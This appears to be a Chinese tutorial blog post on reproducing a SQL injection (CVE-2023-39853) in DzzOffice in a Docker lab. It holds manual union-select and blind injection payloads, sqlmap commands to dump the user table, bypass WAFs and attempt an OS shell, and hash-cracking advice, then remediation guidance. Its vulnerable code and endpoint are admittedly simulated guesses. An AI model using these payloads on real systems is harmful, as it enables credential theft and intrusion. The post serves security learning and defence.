CVE-2023-39853漏洞复现:从SQL注入原理到DzzOffice实战利用

📅 2026/6/22 17:09:22
CVE-2023-39853漏洞复现:从SQL注入原理到DzzOffice实战利用
1. 项目概述一次典型的应用层漏洞深度剖析最近在梳理一些开源办公系统的安全历史时DzzOffice这个老牌协同办公软件的一个SQL注入漏洞CVE-2023-39853引起了我的注意。这个漏洞本身并不复杂但其暴露出的问题却非常典型——在看似简单的参数处理逻辑中开发者一个不经意的疏忽就可能为整个系统打开一扇危险的后门。对于从事安全研究、渗透测试或者应用开发的朋友来说这类漏洞的复现与分析过程远比单纯知道一个CVE编号更有价值。它能帮助我们理解漏洞产生的根源掌握手工验证与利用的技巧并最终将这些经验反哺到日常的安全开发与代码审计工作中。今天我就带大家从头到尾亲手复现一遍这个漏洞并深入聊聊背后的原理、利用手法以及我们从中能学到什么。DzzOffice是一款基于PHP和MySQL开发的开源协同办公平台提供了网盘、文档管理、任务协作等常见功能。CVE-2023-39853这个漏洞存在于其文件管理模块的某个接口中攻击者通过构造特定的请求参数可以绕过原有的安全过滤将恶意SQL语句注入到数据库查询中从而可能导致数据泄露、篡改甚至服务器被控制。复现这个漏洞我们不仅需要搭建一个靶场环境更需要理解其代码逻辑手工构造Payload并观察数据库的响应。这个过程会涉及到基础的Web渗透知识、PHP代码审计入门以及SQL注入的多种技巧无论你是想入门安全的新手还是想巩固基础的从业者相信都能有所收获。2. 漏洞环境搭建与核心原理剖析2.1 靶场环境快速部署要复现漏洞首先得有一个“靶子”。我选择在本地使用Docker来快速搭建一个包含漏洞版本的DzzOffice环境这种方法干净、隔离且易于还原。你只需要确保本地安装了Docker和Docker Compose即可。首先我们创建一个工作目录比如dzzoffice_cve然后在里面编写一个docker-compose.yml文件。这里的关键是拉取包含漏洞的DzzOffice版本镜像。经过查找我们可以使用一个预先构建好的漏洞靶场镜像或者从官方历史版本中获取。为了最贴近真实情况我选择从GitHub上拉取DzzOffice 2.02版本的源码该版本受此漏洞影响并配合标准的MySQL和PHP环境来构建。version: 3 services: mysql: image: mysql:5.7 container_name: dzzoffice-mysql environment: MYSQL_ROOT_PASSWORD: root123456 MYSQL_DATABASE: dzzoffice MYSQL_USER: dzzoffice MYSQL_PASSWORD: dzzoffice123 restart: unless-stopped networks: - dzz-net web: build: . container_name: dzzoffice-web ports: - 8080:80 depends_on: - mysql volumes: - ./dzzoffice-2.02:/var/www/html restart: unless-stopped networks: - dzz-net networks: dzz-net: driver: bridge上面的配置定义了两个服务一个MySQL 5.7数据库和一个基于自定义构建的Web服务。我们需要在同目录下创建一个Dockerfile来构建Web环境FROM php:7.2-apache RUN docker-php-ext-install mysqli pdo pdo_mysql RUN a2enmod rewrite COPY ./dzzoffice-2.02 /var/www/html RUN chown -R www-data:www-data /var/www/html接下来你需要去DzzOffice的GitHub发布页面下载2.02版本的ZIP包解压后命名为dzzoffice-2.02放到当前目录。最后执行docker-compose up -d等待容器启动。访问http://localhost:8080/install即可进入DzzOffice的安装向导。在安装过程中数据库主机填写mysql数据库名、用户名、密码填写我们在docker-compose.yml中设定的值dzzoffice, dzzoffice, dzzoffice123其他按默认配置即可完成安装。注意在实际复现中务必在隔离的虚拟机或容器内进行切勿在生产环境或任何有真实数据的网络中进行测试。这既是法律与道德的要求也是保护自己的必要措施。2.2 漏洞触发点与代码审计环境跑起来后我们得先找到漏洞在哪。根据公开的漏洞描述CVE-2023-39853存在于mobile/目录下的某个接口文件中。通过代码审计我们可以定位到问题根源。让我们直接查看关键文件mobile/index.php及其相关的控制器逻辑。在DzzOffice中mobile/index.php通常作为移动端的入口它会根据do参数来加载不同的功能模块。漏洞点就出现在对do参数的处理上。在某个版本中开发者可能为了灵活性直接使用了$_GET[do]或$_REQUEST[do]来动态包含include或调用call_user_func某个文件或函数而没有对参数值进行严格的过滤或白名单校验。具体到本次漏洞问题代码可能类似于以下形式此为模拟代码用于说明原理// 模拟漏洞代码片段 (mobile/index.php 或类似文件) $action isset($_GET[do]) ? trim($_GET[do]) : default; $file ./controller/ . $action . .php; if (file_exists($file)) { include_once($file); $function_name action_ . $action; if (function_exists($function_name)) { call_user_func($function_name); } }或者更直接地与数据库交互的代码// 模拟存在SQL注入的代码片段 $uid $_GET[uid]; $sql SELECT * FROM dzz_users WHERE uid . $uid . ; $result DB::fetch_first($sql);问题的核心在于开发者预期do或uid等参数是可控、可信的普通字符串但攻击者可以输入包含SQL元字符如单引号、注释符--或#的Payload。当这些参数未经处理直接拼接到SQL语句中时攻击者就能“逃逸”出原有的字符串边界插入自己定义的SQL逻辑从而改变了原查询的语义。实操心得在代码审计时要重点关注所有用户输入“汇入”数据库查询的地方。尤其是那些使用了字符串拼接.运算符来构建SQL语句的代码行。使用预编译语句Prepared Statements或参数化查询是根治SQL注入的唯一方法任何基于过滤如addslashes、mysql_real_escape_string或黑名单的防御在复杂情况下都可能被绕过。2.3 SQL注入原理与利用链条构建理解了漏洞触发点我们再来深入看看SQL注入本身。SQL注入的本质是“数据”被当成了“代码”来执行。在Web应用中用户通过表单、URL参数、Cookie等提交的数据原本应该被视为待处理的数据内容。但如果程序没有区分清楚直接将用户数据拼接进SQL命令字符串中那么用户提交的精心构造的数据就可能成为SQL命令的一部分。例如一个正常的登录查询可能是SELECT * FROM users WHERE username admin AND password 123456如果用户名输入框未过滤用户输入admin --那么拼接后的SQL可能变成SELECT * FROM users WHERE username admin -- AND password ...这里的--在大多数数据库中是行注释符它使得后面的AND password条件被注释掉攻击者只需知道用户名就能绕过密码验证。对于CVE-2023-39853我们需要构造特定的do参数或相关参数使其最终被拼接到某个SQL查询里。利用链条的构建通常遵循以下步骤信息探测首先确认注入点是否存在是数字型还是字符型。通过输入1、1 and 11、1 and 12等测试Payload观察页面返回的差异正常、错误、空白。确定数据库类型通过报错信息或特性函数如version()、version判断是MySQL、PostgreSQL还是其他数据库。DzzOffice使用MySQL所以我们的Payload要符合MySQL语法。获取数据库信息利用union select联合查询逐步获取当前数据库名、表名、列名。这需要先通过order by子句判断查询结果的列数。提取目标数据最终目标是获取管理员密码哈希、敏感业务数据等。DzzOffice的用户密码通常经过MD5或更复杂的加盐哈希处理获取哈希值后可能需要进一步破解。在接下来的实操部分我们将一步步演示如何完成这个链条。3. 手工漏洞复现与利用过程详解3.1 初步探测与注入点确认假设通过代码审计或模糊测试我们怀疑漏洞存在于一个与文件分享或列表功能相关的接口URL路径可能类似于/mobile/index.php?doshareid1。我们的复现就从这里开始。首先使用浏览器或Burp Suite这类代理工具访问该URL观察正常响应。然后我们开始注入测试。步骤一验证注入点我们将id参数修改为1数字后加一个单引号。如果页面返回了数据库错误信息如“You have an error in your SQL syntax...”那么基本可以确定存在字符型SQL注入漏洞。如果页面显示空白或与正常页面不同但没有具体错误则可能存在盲注Blind Injection。步骤二判断注入类型如果是字符型我们需要闭合前面的引号并注释掉后面的部分。尝试输入1 and 11和1 and 12第一个条件永真应返回正常页面第二个条件永假应返回异常页面如无数据。如果符合则确认是字符型注入。步骤三判断列数为了使用union select我们需要知道前面查询语句返回的列数。使用order by子句递增测试1 order by 5 --1 order by 10 --直到页面报错如“Unknown column 10 in order clause”那么最后一个成功的数字就是列数。假设测试发现order by 7成功而order by 8失败则说明原查询返回7列。3.2 利用Union查询提取信息知道了列数我们就可以构造Union查询来获取数据了。Union查询要求前后两个SELECT语句的列数一致。我们先构造一个探测当前数据库和用户的Payload1 union select 1,2,3,4,5,6,7 --访问这个URL观察页面内容。数字1到7中某些数字的位置可能会在页面中显示出来例如原本显示文章标题的地方变成了数字“2”。这些显示位比如第2、4列就是我们后续注入回显数据的位置。假设第2列和第4列是显示位那么我们构造Payload获取数据库基本信息1 union select 1,database(),user(),version(),5,6,7 --这个Payload会尝试将当前数据库名、数据库用户、数据库版本分别显示在第2、3、4列的位置。访问后我们可能在页面上看到类似dzzoffice、dzzofficelocalhost、5.7.36的信息。提取表名接下来我们需要获取数据库中有哪些表。在MySQL中information_schema.tables存储了所有表的信息。1 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schemadatabase() --这个查询会将当前数据库database()的所有表名合并成一个字符串显示在第2列。你可能会得到一长串表名如dzz_app_market,dzz_attachment,dzz_user,...。我们需要从中找到存储用户信息的表通常名为dzz_user、user或members。提取列名假设我们找到了目标表dzz_user接下来获取它的列名1 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schemadatabase() and table_namedzz_user --执行后可能会得到uid,username,password,email,adminid,...这样的结果。username和password显然是我们最关心的字段。3.3 获取敏感数据与漏洞利用完成现在万事俱备只差最后一步提取用户名和密码哈希。1 union select 1,username,password,4,5,6,7 from dzz_user limit 0,1 --这个查询从dzz_user表中取出第一条记录的username和password字段分别显示在第2和第3列。你可能会看到用户名admin密码哈希c3284d0f94606de1fd2af172aba15bf3(示例为MD5哈希)为了获取更多用户可以修改limit子句例如limit 1,1获取第二条记录。密码破解得到的密码哈希通常是经过MD5加密的也可能加盐。你可以使用在线MD5解密网站如cmd5.com或本地工具如John the Ripper、hashcat进行破解。如果哈希值在彩虹表中有记录可能瞬间就能得到明文密码。如果采用了加盐哈希破解难度会大大增加但获取了密码哈希本身已经是严重的安全事件。至此我们完成了从漏洞探测到数据窃取的全过程。攻击者利用这个漏洞可以非法获取系统所有用户的凭证进而登录系统执行任意操作危害极大。注意事项在实际渗透测试中获取数据后应立即停止并向相关方报告漏洞。未经授权的测试是违法行为。我们的复现仅限于自己搭建的、完全隔离的靶场环境目的是学习和提升防御能力。4. 自动化工具辅助验证与深度利用手工注入能让我们深刻理解原理但在效率上无法与自动化工具相比。对于已确认的注入点使用sqlmap这样的神器可以快速、全面地挖掘漏洞潜力。下面演示如何用sqlmap对DzzOffice的这个漏洞点进行自动化测试。4.1 使用Sqlmap进行初步探测首先确保你的环境中安装了sqlmap。然后将我们之前测试的URL保存下来假设为http://192.168.1.100:8080/mobile/index.php?doshareid1。在终端中运行最基本的探测命令sqlmap -u http://192.168.1.100:8080/mobile/index.php?doshareid1 --batch-u: 指定目标URL。--batch: 以非交互模式运行所有提示都选择默认选项适合自动化。sqlmap会自动识别参数id可能存在注入并开始使用预定义的Payload进行测试。它会尝试各种注入技术布尔盲注、时间盲注、报错注入、联合查询注入等来确认漏洞。4.2 全面获取数据库信息一旦确认存在注入点我们可以让sqlmap执行更深入的操作。获取当前数据库名sqlmap -u http://192.168.1.100:8080/mobile/index.php?doshareid1 --current-db --batch输出会显示类似current database: dzzoffice的信息。获取所有数据库名sqlmap -u http://192.168.1.100:8080/mobile/index.php?doshareid1 --dbs --batch获取指定数据库的所有表sqlmap -u http://192.168.1.100:8080/mobile/index.php?doshareid1 -D dzzoffice --tables --batch-D指定数据库名--tables列出所有表。获取指定表的所有列sqlmap -u http://192.168.1.100:8080/mobile/index.php?doshareid1 -D dzzoffice -T dzz_user --columns --batch-T指定表名--columns列出所有列及其数据类型。4.3 数据导出与高级利用导出表数据这是我们的最终目标导出dzz_user表的所有数据。sqlmap -u http://192.168.1.100:8080/mobile/index.php?doshareid1 -D dzzoffice -T dzz_user --dump --batch--dump命令会导出该表的所有记录。sqlmap会询问你是否要破解哈希如果选择是它会调用内置的字典进行破解尝试。获取操作系统Shell慎用在极端情况下如果数据库用户权限足够高如root且数据库配置允许外连或执行系统命令sqlmap甚至可以尝试获取操作系统的Shell。此操作极具破坏性仅在授权的渗透测试中且目标明确为测试环境时方可尝试。sqlmap -u http://192.168.1.100:8080/mobile/index.php?doshareid1 --os-shellsqlmap会尝试通过数据库特性如MySQL的INTO OUTFILE上传一个Web Shell进而执行系统命令。实操心得使用sqlmap时--batch模式虽然方便但有时会错过一些需要交互选择的优化选项。对于重要测试可以先不加--batch观察sqlmap的识别过程和交互提示能学到很多关于注入点判断和利用技巧的知识。另外--level和--risk参数可以调整测试的深度和风险级别越高测试的Payload越多越复杂但可能触发更多的WAF或日志警报。5. 漏洞根源分析与安全加固方案5.1 代码层问题深度解析让我们回到漏洞的源头。为什么这么明显的SQL注入漏洞会出现抛开“开发者疏忽”这种笼统的说法我们可以从技术和流程两个层面深入分析。技术层面错误的防御观念很多开发者知道SQL注入危险但采取的防御措施是片面的。例如仅依赖转义函数使用addslashes()或mysql_real_escape_string()。这在大多数情况下有效但在某些字符集如GBK下可能存在宽字节注入问题或者当数据库连接层与查询层字符集不一致时可能失效。更重要的是它们无法防御数字型注入如id1 AND 11和某些二次注入场景。简单的黑名单过滤试图过滤SELECT、UNION、--、#等关键词。攻击者可以通过大小写变换、双写、编码如URL编码、十六进制等方式轻松绕过。将用户输入直接用于动态表名或列名有些场景下程序需要根据用户输入决定查询哪张表或哪个字段。即使对输入进行了转义直接将变量拼接到SQL语句结构部分而非值部分也是极其危险的。例如$sql SELECT * FROM . $_GET[table] . WHERE id1;这里的table参数无法通过参数化查询来安全处理必须使用严格的白名单机制。流程层面安全左移的缺失在软件开发生命周期SDLC中安全活动没有“左移”即没有在需求、设计、编码等早期阶段引入安全考量。缺乏安全编码规范团队没有强制要求使用预编译语句。缺乏代码审计代码合并前没有进行人工或自动化的安全代码审查。缺乏安全意识培训开发者不了解或不重视常见的安全漏洞。5.2 修复方案与最佳实践针对DzzOffice这个具体漏洞修复方法很简单将存在问题的SQL查询改为使用参数化查询预编译语句。以PHP的PDO或MySQLi为例错误示例漏洞代码$uid $_GET[uid]; $sql SELECT * FROM dzz_users WHERE uid . $uid . ; $result $db-query($sql);正确示例使用PDO$uid $_GET[uid]; $sql SELECT * FROM dzz_users WHERE uid ?; $stmt $pdo-prepare($sql); $stmt-execute([$uid]); $result $stmt-fetchAll(PDO::FETCH_ASSOC);正确示例使用MySQLi$uid $_GET[uid]; $sql SELECT * FROM dzz_users WHERE uid ?; $stmt $mysqli-prepare($sql); $stmt-bind_param(s, $uid); // s 表示字符串类型 $stmt-execute(); $result $stmt-get_result()-fetch_all(MYSQLI_ASSOC);参数化查询的核心思想是将SQL语句的结构模板与数据用户输入分离。数据库引擎会先编译SQL模板确定执行计划然后再将用户输入的数据作为纯粹的“值”绑定进去。这样即使用户输入中包含SQL元字符也只会被当作数据内容处理而不会被解析为SQL命令。更全面的安全加固建议强制使用参数化查询作为团队铁律所有数据库操作必须使用PDO或MySQLi的预编译语句。实施最小权限原则为Web应用连接数据库分配最小必要的权限通常只赋予SELECT、INSERT、UPDATE、DELETE权限杜绝DROP、FILE、GRANT等危险权限。启用Web应用防火墙WAF虽然不能替代安全编码但WAF可以在网络层拦截大量已知的攻击模式为修复漏洞争取时间。定期进行安全扫描与渗透测试使用自动化工具如OWASP ZAP、Nessus和人工渗透测试主动发现潜在漏洞。建立应急响应流程一旦发现漏洞应有清晰的流程进行修复、测试和上线并及时通知用户更新。6. 复现过程中的常见问题与排查技巧在复现CVE-2023-39853或其他类似漏洞时你可能会遇到一些“坑”。这里我记录了几个常见问题及解决方法希望能帮你节省时间。6.1 环境搭建问题问题1Docker容器启动后访问安装页面报数据库连接错误。排查首先检查MySQL容器是否正常运行docker ps | grep mysql。然后进入Web容器内部尝试用命令行连接MySQLdocker exec -it dzzoffice-web bash然后执行mysql -h mysql -u dzzoffice -p输入密码看能否连接。解决最常见的原因是MySQL容器初始化较慢Web容器已经启动并尝试连接但MySQL还没准备好。可以在docker-compose.yml中为Web服务添加健康检查或依赖等待脚本更简单的办法是重启Web容器docker-compose restart web。问题2安装DzzOffice时提示某些目录没有写权限。排查这是Linux文件权限问题。进入Web容器检查/var/www/html/data、/var/www/html/config等目录的所有者和权限。解决在Dockerfile中或启动后确保以www-data用户身份运行Apache并且相关目录对www-data用户可写。可以在Dockerfile最后添加RUN chown -R www-data:www-data /var/www/html。6.2 漏洞利用不成功问题3手工注入时输入单引号后页面返回空白没有报错信息。排查这可能是错误信息被全局屏蔽了。检查PHP配置文件php.ini中的display_errors是否设置为Off。也可能是代码中使用了错误抑制符或者自定义了错误处理函数。解决尝试盲注。使用基于布尔或时间的盲注技术。例如输入1 and sleep(5) --如果页面响应延迟了大约5秒说明存在时间盲注。也可以尝试1 and substring(database(),1,1)a --来逐个字符猜解。问题4使用Union查询时页面没有显示我们注入的数据位数字1-7没有回显。排查可能注入点不在一个直接输出数据的位置或者页面有缓存。也可能Union查询被应用层过滤或处理了。解决尝试将数字替换为更容易观察的字符串如1 union select aaa,bbb,ccc,... --。查看网页源代码有时数据会隐藏在HTML注释或JS变量中。尝试报错注入。使用extractvalue()或updatexml()函数如1 and extractvalue(1, concat(0x7e, (select database()),0x7e)) --这可能会将数据库名通过错误信息爆出来。如果以上都不行回归盲注。问题5Sqlmap探测不到注入点但手工测试似乎存在。排查可能是WAF或应用层过滤了sqlmap的测试Payload。观察sqlmap的请求和响应看是否被重定向或返回了特殊的错误页。解决使用--tamper参数尝试编码绕过。例如--tamperspace2comment将空格替换为注释。降低扫描级别和风险--level1 --risk1。增加延迟避免触发速率限制--delay1每秒1个请求。尝试指定注入技术--techniqueB只使用布尔盲注或--techniqueT只使用时间盲注。6.3 工具使用问题问题6Sqlmap在dump数据时速度非常慢。排查这在使用时间盲注技术时很常见因为每个字符的判断都需要等待数据库响应。解决如果已经确认是联合查询注入确保sqlmap正确识别了注入技术。可以先用--techniqueU指定使用联合查询。使用--threads参数增加线程数如--threads5但注意不要给目标服务器造成过大压力。如果数据量不大耐心等待是唯一办法。在授权测试中应与客户沟通好测试时间窗口。问题7复现成功后如何清理环境以便下次测试解决使用Docker Compose可以轻松重置环境。# 停止并删除所有容器、网络 docker-compose down # 如果想彻底清除包括数据卷数据库数据也会被删除 docker-compose down -v # 重新构建并启动 docker-compose up -d --build这种可重复、一键重置的环境是安全研究的最佳伴侣。漏洞复现不仅仅是为了“炫技”或完成一个任务其核心价值在于通过亲手实践将抽象的安全威胁转化为具体的认知。每一次成功的复现都是一次对攻击者思维的模拟也是对防御者视角的强化。在搭建环境时遇到的配置问题在代码审计时对逻辑的梳理在构造Payload时对数据库语法的斟酌在利用工具时对参数的理解所有这些细节积累起来最终会内化成你对Web应用安全深刻而直观的把握。对于开发者这意味着你写出的代码会更健壮对于安全工程师这意味着你的评估会更全面对于运维人员这意味着你的防护策略会更有效。安全是一个持续对抗的过程而扎实的漏洞复现能力无疑是这个过程中最有力的武器之一。